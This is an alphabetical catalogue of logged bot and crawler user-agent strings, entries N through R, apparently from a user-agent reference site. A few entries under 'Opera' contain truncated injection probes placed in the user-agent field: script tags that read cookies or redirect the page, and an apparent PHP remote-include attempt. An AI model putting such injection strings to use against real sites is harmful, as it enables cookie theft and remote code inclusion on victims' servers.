Bot Nokia6682/2.0 (3.01.1) SymbianOS/8.0 Series60/2.6 Profile/MIDP-2.0 configuration/CLDC-1.1 UP.Link/6.3.0.0.0 (compatible;...

Bot Nokia6820/2.0 (4.83) Profile/MIDP-1.0 Configuration/CLDC-1.0 (compatible; Googlebot-Mobile/2.1;

Bot Nokia6820/2.0 (4.83) Profile/MIDP-1.0 Configuration/CLDC-1.0 (compatible; Googlebot-Mobile/2.1; +http://www.google.com/b...

Bot Nokia6820/2.0 (4.83) Profile/MIDP-1.0 Configuration/CLDC-1.0 (compatible; Mediapartners-Google/2.1; +http://www.google.c...

Bot Nokia6822a/2.0 (4.88) Profile/MIDP-1.0 Configuration/CLDC-1.0 (compatible; Googlebot-Mobile/2.6a; +http://www.google.com...

Bot NokiaN70/. FASTMobileCrawl/6.6 Profile/MIDP-2.0 Configuration/CLDC-1.1

Bot noobot Spider/Noobot-1.2 (noobot crawler; http://www.noobot.fr)

Bot noopsis Spider/Nutch-1.1 (noopsis crawler)

Bot NoteworthyBot/0.1

Bot notie

Bot Notifixious/LinkChecker (http://notifixio.us)

Bot noxtrumbot/1.0 (crawler@noxtrum.com)

Bot Noydb/7.04 (Win76; U; SA)

Bot NPBot/3 (NPBot; http://www.nameprotect.com; npbot@nameprotect.com)

Bot nrsbot/5.0(loopimprovements.com/robot.html)

Bot nrsbot/5.0(loopip.com/robot.html)

Bot nrsbot/5.02

Bot nrsbot/6.0(loopip.com/robot.html)

Bot NSO_Debugger/2.0

Bot NSplayer/11.0.5721.5145

Bot NSPlayer/11.0.5721.5251 WMFSDK/11.0

Bot nsyght.com/Nutch-0.9 (nsyght.com; Nsyght.com)

Bot nsyght.com/Nutch-0.9 (nsyght.com; search.nsyght.com)

Bot nsyght.com/Nutch-1.0-dev (nsyght.com; Nsyght.com)

Bot nu_tch-princeton/Nu_tch-1.0-dev (princeton crawler for cass project; http://www.cs.princeton.edu/cass/; zhewang a_t cs d...

Bot NUCLEARFOX/3.7(TREX; U; en-US;)

Bot Nudelbot 0.8 Beta (+http://www.nudelbot.com/bot.html)

Bot Nuhk/2.4 (+http://www.neti.ee/cgi-bin/abi/Otsing/Nuhk/)

Bot NULL-- FirePHP/0.4

Bot NuSearch Spider (compatible; MSIE 6.0)

Bot Nusearch Spider (www.nusearch.com)

Bot Nutch 1.2/Nutch-1.2 (Facet Engine Nutch Crawler; spider@facetengine.com)

Bot Nutch agent name/Nutch-1.0 (Nutch agent description; http:// MyAgent.googlepages.com ; MyEmail)

Bot nutch test/Nutch-1.0 (nutch test)

Bot nutch-crawl/Nutch-1.0-dev (imcs; http://imcs.ro; admin@imcs.ro)

Bot nutch-crawler/Nutch-1.2

Bot nutch-solr-integration-test/Nutch-1.2 (MoonValley Web Crawler using Nutch 1.2; http://www.moonvalley.com/; cwoolum@moonv...

Bot nutch-solr-integration/1.1

Bot nutch-solr-integration/Nutch-1.0

Bot nutch-solr/Nutch-1.0-dev

Bot nutch.biz/Nutch-1.0 (nutch.biz; crawler@nutch.biz)

Bot nutch.us/Nutch-1.0 (nutch.us; crawler@nutch.us)

Bot nutch.us/Nutch-1.0 (www.nutch.us; crawler@nutch.us)

Bot nutch.us/Nutch-1.0-dev (www.nutch.us; crawler@nutch.us)

Bot Nutch/1.2/Nutch-1.2

Bot Nutch/Nutch-0.8.1

Bot Nutch/Nutch-0.8.1 (Nutch; Nutch; Nutch)

Bot Nutch/Nutch-0.9

Bot Nutch/Nutch-0.9 (Eurobot; http://www.ayell.eu )

Bot nutch/Nutch-0.9 (nutch)

Bot Nutch/Nutch-0.9 (Nutch; http://lucene.apache.org/nutch/)

Bot Nutch/Nutch-0.9 (Nutch; http://nutch; nutch)

Bot Nutch/Nutch-1.0 (academic purpose; cats.kaist.ac.kr; smiler82@naver.com)

Bot nutch/Nutch-1.0 (nutch)

Bot Nutch/Nutch-1.0-dev (A Nutch-based crawler.; http://lucene.apache.org/nutch/bot.html; nutch-agent AT lucene.apache.org)

Bot nutch/Nutch-1.0-dev (nutch)

Bot nutch_princeton/Nutch-1.0-dev (princeton crawler for cass project; http://www.cs.princeton.edu/cass/; zhewang a_t cs ddo...

Bot nutch_test/Nutch-0.9 (nutch_test; http://www.8dorm.com; webmaster@8dorm.com)

Bot Nutch0.8/Nutch-0.9-dev

Bot nutch0.9/Nutch-0.9-dev

Bot NUTCHCRAWLER/Nutch-0.9 (anouar@yatinoo.com)

Bot NutchCVS/0.06-dev (Nutch running at UW; http://www.nutch.org/docs/en/bot.html; sycrawl@cs.washington.edu)

Bot NutchCVS/0.06-dev (Nutch; http://www.nutch.org/docs/en/bot.html; nutch-agent@lists.sourceforge.net)

Bot NutchCVS/0.7 (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org)

Bot NutchCVS/0.7.1 (Nutch running at UW; http://crawlers.cs.washington.edu/; sycrawl@cs.washington.edu)

Bot NutchCVS/0.7.1 (Nutch running at UW; http://www.nutch.org/docs/en/bot.html; sycrawl@cs.washington.edu)

Bot NutchCVS/0.7.1 (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org)

Bot NutchCVS/0.7.1 (Nutch; http://lucene.apache.org/nutch/bot.html; raphael@unterreuth.de)

Bot NutchCVS/0.7.2 (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org)

Bot NutchCVS/0.7.2 (Nutch; http://lucene.apache.org/nutch/bot.html; west@cis.poly.edu)

Bot NutchCVS/0.8-dev (Nutch running at UW; http://www.nutch.org/docs/en/bot.html; sycrawl@cs.washington.edu)

Bot NutchCVS/0.8-dev (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org)

Bot NutchCVS/0.8.1 (http://cis.poly.edu/westlab/; west@poly.edu)

Bot nutchCVS/Nutch-0.8.1 (nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org)

Bot NutchCVS/Nutch-1.0 (http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org)

Bot NutchEC2Test/Nutch-0.9-dev (Testing Nutch on Amazon EC2.; http://lucene.apache.org/nutch/bot.html; ec2test at lucene.com...

Bot nutchsearch/Nutch-0.9 (Nutch Search 1.0; herceg_novi at yahoo dot com)

Bot NutchTest/Nutch-1.0

Bot nutchwax.com/Nutch-1.0 (nutchwax.com; crawler@nutchwax.com)

Bot Nutexplore/5.0 (ZIOIS;Fast)

Bot Nutscrape 1.0, Commodore 64

Bot Nutscrape/0.9 (CP/M; 7-bit)

Bot Nutscrape/1.0 (Commodore Vic20; 8-bit)

Bot Nutscrape/1.0 (CP/M; 8-bit)

Bot Nutscrape/1.0 (CP/M; 8-bit) (en; EN) Gecko/20090216

Bot Nutscrape/1.0 (OS/400; 8-bit)

Bot NWBSpider/Nutch-2.0-dev

Bot NWSpider 0.9

Bot nyobot/1.1 (Noyb.com search engine crawler; http://www.noyb.com; bot@noyb.com)

Bot nYOoY_urlbot/1.0 (+http://nyooy.com/urlbot/)

Bot O'Reilly Link Checker (links from our published works)

Bot ObjectsSearch/0.01 (ObjectsSearch; http://www.ObjectsSearch.com/bot.html; support@thesoftwareobjects.com; yplus 5.1.02b)

Bot ObjectsSearch/0.0x (ObjectsSearch; http://www.ObjectsSearch.com/bot.html; support@thesoftwareobjects.com)

Bot oBot

Bot Occupied.de Bot

Bot OCP HRS 1.0

Bot oegp v. 1.3.0

Bot Offline Explorer 1.*

Bot Offline Explorer Enterprise/4.4

Bot Offline Explorer/5.5

Bot OfflinePages/1.3.1 CFNetwork/485.12.7 Darwin/10.4.0

Bot ofobot

Bot olkin/0.2 (+http://bot.macrothela.net/)

Bot omgilibot/0.3 +http://www.omgili.com/Crawler.html

Bot Omnia

Bot omniexplorer [bot]

Bot OmniExplorer_Bot FirePHP/0.2.4

Bot OmniExplorer_Bot/1.07 (+http://www.omni-explorer.com) Internet Categorizer

Bot OmniExplorer_Bot/1.09 (+http://www.omni-explorer.com)

Bot OmniExplorer_Bot/1.09 (+http://www.omni-explorer.com) Cars Crawler

Bot OmniExplorer_Bot/1.09 (+http://www.omni-explorer.com) Internet Indexer

Bot OmniExplorer_Bot/1.0x ( http://www.omni-explorer.com) Job Crawler

Bot OmniExplorer_Bot/1.10 (+http://www.omni-explorer.com)

Bot OmniExplorer_Bot/1.10 (+http://www.omni-explorer.com) Jobs Crawler

Bot OmniExplorer_Bot/2.47 (+http://www.omni-explorer.com) WorldIndexer

Bot OmniExplorer_Bot/2.93 (+http://www.omni-explorer.com) WorldIndexer

Bot OmniExplorer_Bot/3.06c (+http://www.omni-explorer.com) WorldIndexer

Bot OmniExplorer_Bot/3.06d (+http://www.omni-explorer.com) WorldIndexer

Bot OmniExplorer_Bot/3.10 (+http://www.omni-explorer.com) WorldIndexer

Bot OmniExplorer_Bot/3.10a (+http://www.omni-explorer.com) WorldIndexer

Bot OmniExplorer_Bot/3.11a (+http://www.omni-explorer.com) WorldIndexer

Bot OmniExplorer_Bot/3.11c (+http://www.omni-explorer.com) WorldIndexer

Bot OmniExplorer_Bot/3.20b (+http://www.omni-explorer.com) WorldIndexer

Bot OmniExplorer_Bot/3.21 (+http://www.omni-explorer.com) WorldIndexer

Bot OmniExplorer_Bot/3.23 (+http://www.omni-explorer.com) WorldIndexer

Bot OmniExplorer_Bot/3.24 (+http://www.omni-explorer.com) WorldIndexer

Bot OmniExplorer_Bot/3.26b (+http://www.omni-explorer.com) WorldIndexer

Bot OmniExplorer_Bot/3.26c (+http://www.omni-explorer.com) WorldIndexer

Bot OmniExplorer_Bot/3.28 (+http://www.omni-explorer.com) WorldIndexer

Bot OmniExplorer_Bot/3.94b (+http://www.omni-explorer.com) WorldIndexer

Bot OmniExplorer_Bot/3.95 (+http://www.omni-explorer.com) WorldIndexer

Bot OmniExplorer_Bot/3.98b (+http://www.omni-explorer.com) WorldIndexer

Bot OmniExplorer_Bot/3.99 (+http://www.omni-explorer.com) WorldIndexer

Bot OmniExplorer_Bot/4.32 (+http://www.omni-explorer.com) WorldIndexer

Bot OmniExplorer_Bot/5.25 (+http://www.omni-explorer.com) WorldIndexer

Bot OmniExplorer_Bot/5.73 (+http://www.omni-explorer.com) WorldIndexer

Bot OmniExplorer_Bot/5.77e (+http://www.omni-explorer.com) WorldIndexer

Bot OmniExplorer_Bot/6.10.0 (+http://www.omni-explorer.com) WorldIndexer

Bot OmniExplorer_Bot/6.10.13 (+http://www.omni-explorer.com) WorldIndexer

Bot OmniExplorer_Bot/6.10.15 (+http://www.omni-explorer.com) WorldIndexer

Bot OmniExplorer_Bot/6.10.17 (+http://www.omni-explorer.com) WorldIndexer

Bot OmniExplorer_Bot/6.10.7 (+http://www.omni-explorer.com) WorldIndexer

Bot OmniExplorer_Bot/6.10.9 (+http://www.omni-explorer.com) WorldIndexer

Bot OmniExplorer_Bot/6.70 (+http://www.omni-explorer.com) WorldIndexer

Bot OmniExplWgetorer_Bot

Bot OmniWeb

Bot OmniWeb/2.7-beta-3 OWF/1.0

Bot Omri David

Bot onCHECK-Robot, www.onsearch.de

Bot Onetime ShopFinder Program

Bot OneWorldSearch/1.00.143;MSSQL (http://www.oneworldsearch.com/)

Bot OnlineWebCheck.com (http://onlinewebcheck.com)

Bot OOZBOT

Bot OOZBOT/0.17 (--; http://www.setooz.com/oozbot.html#; agentname at setooz dot_com)

Bot OOZBOT/0.17 (--; http://www.setooz.com/oozbot.html; agentname at oozbot dot_com)

Bot OOZBOT/0.17 (--; http://www.setooz.com/oozbot.html; agentname at setooz dot_com)

Bot OOZBOT/0.17 (--; http://www.setooz.com/oozbot.html; pvvpr at iiit dot ac dot in)

Bot OOZBOT/0.20 ( -- ; http://www.setooz.com/oozbot.html ; agentname at setooz dot_com )

Bot OOZBOT/0.20 ( http://www.setooz.com/oozbot.html ; agentname at setooz dot_com )

Bot OOZBOT/0.20 (--; http://www.setooz.com/oozbot.html; agentname at setooz dot_com)

Bot Open Ware (compatible; MSIE 7.0; Windows NT 5.1; TencentTraveler 4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;...

Bot Open Web Analytics Bot 1.3.1

Bot OpenAcoon v4.0.3 (www.openacoon.de)

Bot OpenAcoon v4.0.5 (www.openacoon.de)

Bot OpenAcoon v4.1.0 (www.openacoon.de)

Bot OpenAnything/1.6 +http://diveintopython.org/http_web_services/

Bot OpenCalaisSemanticProxy

Bot Opendium spider

Bot OpenIntelligenceData/1.1 (+http://www.worldwideweb-x.com/openData.html)

Bot OpenISearch/1.2.1 (+http://www.openisearch.com/faq.html)

Bot OpenISearch/1.3.1 (+http://www.openisearch.com/faq.html)

Bot OpenPlaces/Nutch-1.0-dev (OpenPlaces Content Crawler; http://www.openplaces.com; dnadeau 64th-ascii-char openplaces c o ...

Bot Openstat/0.1

Bot OpenWebSpider# v0.1a (http://www.openwebspider.org/)

Bot Opera larbin2.6.3@unspecified.mail

Bot Opera/10.00 (Windows NT 5.1; U; Googlebot/2.1 (+http://www.google.com/bot.html); ru) Presto/2.2.0

Bot Opera/8.01 (J2ME/MIDP; Opera Mini/"><script>alert(document.cookie)</1724; id; U; ss...

Bot Opera/8.01 (J2ME/MIDP; Opera Mini/<script>alert('kuda-liar');</1724; id; U; ssr)

Bot Opera/8.01 (J2ME/MIDP; Opera Mini/<script>location.href='http:/1724; id; U; ssr)

Bot Opera/8.01 (J2ME/MIDP; Opera Mini/66.249.64.13 - crawl-66-249-64-13.googlebot.com/1724; id; U; ssr)

Bot Opera/8.01 (J2ME/MIDP; Opera Mini/crawl-66-249-66-1.googlebot.com/1724; id; U; ssr)

Bot Opera/9.52 (Windows NT 6.0; U; GoogleBot, MSNBot, Slurp, http://lucideer.com; en-GB)

Bot Opera/9.52 (Windows NT 6.0; U; GoogleBot, MSNBot, Slurp, Http://lucideer.com; en-GB) (compatible; MSIE 6.0; Windows CE; ...

Bot Opera/9.80 (J2ME/MIDP; Opera Mini/2.1 ">'><script><?php include('http:/22.41...

Bot Opera/9.80 (J2ME/MIDP; Opera Mini/2.1 (compatible; MSIE 4.01; Windows CE; Smartphone; 320x240;) MSNBOT-MOBILE/22.414; U;...

Bot Opera/9.80 (J2ME/MIDP; Opera Mini/4.0 (compatible; MSIE 8.0; Windows NT 5.1; WOW64; <script>alert(&quo...

Bot Opera/9.80 (J2ME/MIDP; Opera Mini/4.0 (universal-apple-darwin10.0) libcurl/23.411; U; en) Presto/2.5.25 Version/10.54

Bot Opera/9.80 (J2ME/MIDP; Opera Mini/4.0 <a href=http:/22.414; U; en) Presto/2.5.25 Version/10.54

Bot Opera/9.80 (J2ME/MIDP; Opera Mini/4.0 AntiOpensourceBot/23.405; U; en) Presto/2.5.25 Version/10.54

Bot Opera/9.80 (J2ME/MIDP; Opera Mini/4.2 !?aTRASH proxyDIRECT - (sjc0.tdmsic.org - Red Hat); Alawar 2.08; Linux x86_64; N; ...

Bot Opera/9.80 (J2ME/MIDP; Opera Mini/4.2 !?aTRASH proxyDIRECT - (sjc0.tdmsic.org - Red Hat); Linux x86_64; N; Android; N; e...

Bot Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.15410 (compatible; msnbot-Products/856; U; en) Presto/2.4.15

Bot Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.15410; Android; Googlebot; AppleWebKit; msnbot/22.414; U; en) Presto/2.5.25 Versio...

Bot Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.15410; Android; Googlebot; AppleWebKit; msnbot; BlackBerry/22.414; U; en) Presto/2...

Bot Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.15410; Android; Googlebot; AppleWebKit; msnbot; BlackBerry; facebookexternalhit/22...

Bot Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.15410; Android; Googlebot; AppleWebKit; msnbot; BlackBerry; facebookexternalhit/22...

Bot Opera/9.80 (J2ME/MIDP; Opera Mini/4.6 (Linux x86_64; Android; N; en-US) (Version: 1.02, powered by www.123spider.de/22.4...

Bot Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (compatible; aiHitBot/886; U; en) Presto/2.4.15

Bot Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (compatible; facebook bot) Mozilla/20.2463; U; en) Presto/2.5.25

Bot Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (compatible; Yahoo! Slurp; http:/20.2463; U; en) Presto/2.5.25

Bot Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (compatible; Yahoo! Slurp; http:/886; U; en) Presto/2.4.15

Bot Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Linux; U; Android 2.2; en-us; compatible; Googlebot/23.405; U; en) Presto/2.5.25 ...

Bot Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Mozilla; 5.0; compatible; (ABACHOBot; Arachmo; BlitzBot; FDSE robot) MSIE 8.0; U;...

Bot Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.0.10; Yahoobot; +http:/886; U; en) Presto/...

Bot Opera/9.80 (J2ME/MIDP; Opera Mini/5.0; GoogleBot; FAST Crawler 6.4; http:/22.401; U; en) Presto/2.5.25 Version/10.54

Bot Opera/9.80 (J2ME/MIDP; Opera Mini/7.10.6 (i386-redhat-linux-gnu) libcurl/21.572; U; en) Presto/2.5.25 Version/10.54

Bot Opera/9.80 (J2ME/MIDP; Opera Mini/93.6 (+NExTliFE(A.K.A Gord Hacks) Updates Come Usual, HACK BOT DoSING SITE!);

Bot Opera/9.80 (J2ME/MIDP; Opera Mini/Mozilla5.0-by_bugis_gaul curl/19.916; U; ms) Presto/2.5.25

Bot Opera/9.80 (J2ME/MIDP; Opera Mini/Nutch-0.9 (crawl for fun; www.zipfelchappe.com; zipfelchappe@localhost)/19.916; U; en)...

Bot Opera/9.80 (J2ME/MIDP; Opera Mini/Nutch-0.9 (crawl for fun; www.zipfelchappe.com; zipfelchappe@localhost)/20.2463; U; en...

Bot Opera/9.80 (J2ME/MIDP; Opera Mini/Nutch-1.0 (Test crawl; lucene.apache.org/20.2477; U; en) Presto/2.5.25

Bot Opera/9.80 (J2ME/MIDP; Opera Mini/Nutch-1.0- dev (Crawler for Balihoo.com search engine - obeys robots.txt and robots me...

Bot Opera/9.80 (J2ME/MIDP; Opera Mini/Nutch-1.0-dev (Sapphire Web Crawler using Nutch; http:/18.684; U; en) Presto/2.4.15

Bot Opera/9.80 (Windows NT 5.1; U; Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html); ru) Presto/2.5....

Bot Opera/9.80 (Windows NT 5.1; U; zh-cn) Presto/2.2.15 Version/10.00 AppEngine-Google; (+http://code.google.com/appengine; ...

Bot Opera/9.80 (Windows NT 5.2; U; Googlebot/2.1 (+http://www.googlebot.com/bot.html); cs) Presto/2.2.15 Version/10.01

Bot Opera/9.80 (Windows NT 6.1; U; en) Presto/2.5.24 Version/10.52 AppEngine-Google; (+http://code.google.com/appengine; app...

Bot Oracle Ultra Search

Bot OrangeAskBot/2.0; +http://www.orangeask.com

Bot Orbiter (+http://www.dailyorbit.com/bot.htm)

Bot Orbiter/T-2.0 (+http://www.dailyorbit.com/bot.htm)

Bot Orbserver.com crawler (www.orbserver.com/botsvsbrowsers.com)

Bot Orgbybot/OrgbyBot v1.2 (Spidering the net for Orgby; http://www.orgby.com/ ; Orgby.com Search Engine)

Bot Orgbybot/OrgbyBot v1.3 (Spider; http://orgby.com/bot/ ; Orgby.com Search Engine)

Bot OSSProxy 1.3.323.338 (Build 323.338 Win32 en-us)(May 21 2009 16:41:26)

Bot OSSProxy 1.3.324.349 (Build 324.349 Win32 en-us)(Sep 18 2009 09:49:46)

Bot OSSProxy 1.3.325.351 (Build 325.351 Win32 en-us)(Dec 21 2009 17:36:40)

Bot OSSProxy 1.3.325.362 (Build 325.362 Win32 en-us)(Jan 29 2010 14:15:34)

Bot OSSProxy 1.3.326.329 (Build 326.329 Win32 en-us)(Apr 15 2010 15:40:21)

Bot OutfoxBot/0.3 (For internet experiments; http://; outfox.agent@gmail.com)

Bot OutfoxBot/0.5 (for internet experiments; http://; outfoxbot@gmail.com)

Bot ovale_total/0.1

Bot Overseer!

Bot owsBot/0.2 (owsBot; www.oneworldstreet.com; owsBot)

Bot ozelot/2.7.3 (Search engine indexer; www.flying-cat.de/ozelot; ozelot@flying-cat.de)

Bot ozilla/5.0 (Linux; U; Android 1.5; fr-; HTC Hero Build/CRB43) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobil...

Bot ozzie (question ozzie@cs.stanford.edu)

Bot P3P Client

Bot page_prefetcher

Bot page_test larbin2.6.3@unspecified.mail

Bot page_verifier (http://www.securecomputing.com/goto/pv)

Bot page_verifier http://www.securecomputing.com/goto/pv

Bot page_viewer larbin2.6.3@unspecified.mail

Bot page_viewer1 larbin2.6.3@unspecified.mail

Bot PageBitesHyperBot/600 (http://www.pagebites.com/)

Bot Pagebull http://www.pagebull.com/

Bot Pagebull http://www.pagebull.com/

Bot PageNest Free Edition/3.10

Bot PageNest Free Edition/3.11

Bot PageNest Free Edition/3.26

Bot Paleoweb.org Friendly Bot ;-)/1

Bot panelbot

Bot pangolin/0.1

Bot panscient.com

Bot Pantau AutoPager/0.5.2.2 (http://www.teesoft.info/)

Bot Parthenopaios/1.0 (Adrastos)

Bot Particls

Bot Particls/1.0 (compatible; .NET CLR 2.0.50727; http://www.particls.com)

Bot Path 2/LX darxi.com

Bot Path2/LX darxi.com

Bot Pathtraq (+http://pathtraq.com/)

Bot Pathtraq/0.1 (+http://pathtraq.com/)

Bot Pathtraq/0.1 Gungho/0.08004

Bot Pathtraq/0.1 Gungho/0.09005

Bot Pathtraq/0.1 Gungho/0.09007

Bot Pathtraq/0.1 Gungho/0.09008

Bot PayPal Web Hosting, Scripts N Tools

Bot PayPal Website Payment Pro, Scripts N Tools

Bot Paypal.com(+http://search.FBI.com/msnbot.htm)

Bot PBBRBOT

Bot PCbot/3.0

Bot PDFBot crawler@pdfind.com

Bot PEAR HTTP_Request class ( http://pear.php.net/ )

Bot PECL::HTTP/1.6.0 (PHP/5.1.2)

Bot PECL::HTTP/1.6.1-dev (PHP/5.2.6)

Bot PediaSearch.com Crawler

Bot PeerFactor 404 crawler

Bot Pehdens Spyder (http://pehden.net/spyder)

Bot PenTest.sg/Nutch-1.1 (www.PenTest.sg; crawler@PenTest.sg)

Bot Perl Crawler Robot v0.1

Bot Perl interface for libCURL

Bot Perl-Win32::Internet/0.082

Bot permail/H

Bot Perso/12.0 (OSP; F; Perso; fr; rv:1.5.1.3) Dev/542354 Lapin/0.2.5 ()

Bot Pete-Spider Light/1.0

Bot Pete-Spider Light/1.2

Bot Pete-Spider/1.1

Bot Peter Wang/Nutch-0.9 (Nutch spiderman; http://peterpuwang.googlepages.com ; MyEmail)

Bot PHarvester/0.2 (SC)

Bot PHP Script

Bot PHP version tracker (http://www.nexen.net/phpversion/bot.php)

Bot PHP-4.x

Bot PHP/4.1.2

Bot PHP/5.2.10

Bot PHP/5.2.11

Bot PHP/5.2.12

Bot PHP/5.2.13

Bot PHP/5.2.14

Bot PHP/5.2.17

Bot PHP/5.2.3

Bot PHP/5.2.5

Bot PHP/5.2.6

Bot PHP/5.2.8

Bot PHP/5.2.9

Bot PHP/5.3.1

Bot PHP/5.3.2

Bot PHP/5.3.3

Bot PHP/5.3.4

Bot PHP_inetmap.net

Bot PHPCrawl

Bot PhpDelicious v1.5 (http://www.ejeliot.com/pages/php-delicious)

Bot PhpDig/1.8.8 (+http://www.phpdig.net/robot.php)

Bot phpscript

Bot Picsel/1.0 (Windows NT 5.1; U)

Bot PicselSpider/1.0

Bot PigFear/0.3.1

Bot PigFear/0.3.2

Bot PikaWeb-1.337 \||//(o^.^o)\\||/

Bot ping.blo.gs/2.0

Bot Pingdom GIGRIB (http://www.pingdom.com)

Bot Pingdom GIGRIB v1.1 (http://www.pingdom.com)

Bot Pingdom.com_bot_version_1.4_(http://www.pingdom.com/)

Bot Pingdom/2.3.4

Bot pipBot

Bot pipeLiner/0.12 (PipeLine Spider; http://www.pipeline-search.com/webmaster.html)

Bot PiplBot

Bot Pizilla++ ver 2.45

Bot PKU Student Spider

Bot Plagger/0.7.17 (http://plagger.org/)

Bot plaNETWORK Bot Search

Bot PlantyNet_WebRobot_V1.9 dhkang@plantynet.com

Bot Plonebot/0.1

Bot Pluggd/Nutch-0.9 (Pluggd automated crawler; http://www.pluggd.com; support at pluggd dot com)

Bot Pockey/4.10.2(Win32; GUI; ix86)

Bot POE-Component-Client-HTTP/0.85 (perl; N; POE; en; rv:0.850000)

Bot POE-Component-Client-HTTP/0.85 (perl; N; POE; en; rv:0.850000)

Bot POE-Component-Client-HTTP/0.88 (perl; N; POE; en; rv:0.880000)

Bot POE-Component-Client-HTTP/0.895 (perl; N; POE; en; rv:0.895000)

Bot polybot 1.0 (http://cis.poly.edu/polybot/)

Bot Pompos/1.3 http://dir.com/pompos.html

Bot porn_viewer larbin2.6.3@unspecified.mail

Bot Port Huron Labs

Bot portalmmm/1.0 M222i

Bot portalmmm/2.0 S501i

Bot PostPost/1.0 (+http://postpo.st/crawlers)

Bot PostRank 2.0 (postrank.com)

Bot PostRank/2.0 (postrank.com)

Bot PostRank/2.0 (postrank.com; 1 subscribers)

Bot PR Crawler/Nutch-1.0 (data mining develpment project; crawler@projectrialto.com)

Bot Pr0nBot/0.1-rc1/http://www.sexyrails.com/robot

Bot PRCrawler/Nutch-0.9 (data mining development project)

Bot PRCrawler/Nutch-0.9 (data mining development project; crawler@projectrialto.com)

Bot PrivacyFinder Cache Bot v1.0

Bot PrivacyFinder/0.01 libwww-perl/5.833

Bot Privoxy 3.0.12

Bot Privoxy 3.0.16

Bot Privoxy 3.0.6

Bot Privoxy 3.06

Bot Privoxy/1.0

Bot Program Shareware 1.0.0

Bot Prologue/0.1.8.72 (compatible) filecache

Bot PROXY crawler (+http://www.globalvisioncommunication.com/)

Bot Proxy leecher

Bot ProxyTestAuth

Bot prppsoft_research_center (compatible; kurumin/7.0-prppsoft-heritrix/1.12.1; Debian Etch +http://crawler.prppsoft.uni.cc)

Bot prppsoft_research_center (compatible; ubuntujaunty-prppsoft-heritrix/1.12.1; Debian Etch +http://crawler.prppsoft.uni.cc...

Bot psbot/0.1

Bot psbot/0.1 (+http://www.picsearch.com/bot.html)

Bot psbot/0.X (+http://www.picsearch.com/bot.html)

Bot psycheclone

Bot pt_viewer_com_page larbin2.6.3@unspecified.mail

Bot pt_viewer_web larbin2.6.3@unspecified.mail

Bot puf/0.93.2a (Linux 2.6.15-26-server; i686)

Bot puf/1.0.0 (Linux 2.6.18-6-686; i686)

Bot puf/1.0.0 (Linux 2.6.18-6-686; i686)

Bot pulseBot (pulse Web Miner)

Bot PycURL

Bot PycURL/7.15.0

Bot PycURL/7.15.5

Bot PycURL/7.16.4

Bot PycURL/7.18.0

Bot PycURL/7.18.2

Bot PycURL/7.19.0

Bot PycURL/7.19.2

Bot PycURL/7.19.4

Bot PycURL/7.19.5

Bot PycURL/7.19.7

Bot PycURL/7.20.0

Bot PycURL/7.21.0

Bot PyQuery / 0.1

Bot Python-httplib2/$Rev$

Bot Python-httplib2/$Rev: 235 $

Bot Python-urllib/1.10

Bot Python-urllib/1.15

Bot Python-urllib/1.16

Bot Python-urllib/1.17

Bot Python-urllib/1.17 AppEngine-Google; (+http://code.google.com/appengine)

Bot Python-urllib/1.17 AppEngine-Google; (+http://code.google.com/appengine; appid: therealurl)

Bot Python-urllib/2.1

Bot Python-urllib/2.4

Bot Python-urllib/2.5

Bot Python-urllib/2.6

Bot Python-urllib/2.7

Bot Python-urllib/3.0

Bot Python-urllib/3.1

Bot pythonic-crawler (suzuki@tkl.iis.u-tokyo.ac.jp)

Bot QEAVis agent

Bot QEAVis agent/Nutch-0.9 (http://nlp.uned.es/qeavis/)

Bot Qirina Hurdler v. 1.02 10.10.01 (+http://www.qirina.com/hurdler.html)

Bot Qirina Hurdler v. 1.05 10.11.01 (+http://www.qirina.com/hurdler.html)

Bot Qlue Broken Link Checker

Bot QroboDomainBot

Bot QunarBot/1.0

Bot R0ot DB.SDK~Spy (Kenobiexpress Engine v0.1)

Bot R6_FeedFetcher(www.radian6.com/crawler)

Bot RacaiCrawler/RacaiCrawler-0.2

Bot radian6_default_(www.radian6.com/crawler)

Bot radian6_linkcheck_(www.radian6.com/crawler)

Bot RAMPyBot - www.giveRAMP.com/0.1 (RAMPyBot - www.giveRAMP.com; http://www.giveramp.com/bot.html; support@giveRAMP.com)

Bot Rankivabot/3.2 (www.rankiva.com; 3.2; vzmxikn)

Bot rassler/0.10 (+http://bot.macrothela.net)

Bot rassler/0.11 (+http://bot.macrothela.net)

Bot rassler/0.12 (+http://bot.macrothela.net)

Bot rassler/0.13 ( http://bot.macrothela.net)

Bot rassler/0.13 (+http://bot.macrothela.net)

Bot rassler/0.14 (+http://bot.macrothela.net)

Bot rassler/0.15 (+http://bot.macrothela.net)

Bot rassler/0.16 (+http://bot.macrothela.net)

Bot rassler/0.17 (+http://bot.macrothela.net)

Bot rassler/0.18 (+http://bot.macrothela.net)

Bot rassler/0.19 (+http://bot.macrothela.net)

Bot rassler/0.20 (+http://bot.macrothela.net)

Bot rassler/0.21 (+http://bot.macrothela.net)

Bot rassler/0.22 (+http://bot.macrothela.net)

Bot rassler/0.23 (+http://bot.macrothela.net)

Bot rassler/0.24 (+http://bot.macrothela.net)

Bot rassler/0.25 (+http://bot.macrothela.net)

Bot rassler/0.26 (+http://bot.macrothela.net)

Bot rassler/0.27 (+http://bot.macrothela.net)

Bot rassler/0.27 (+http://macrothela.mediamonitor.pt)

Bot rassler/0.28 (+http://macrothela.mediamonitor.pt)

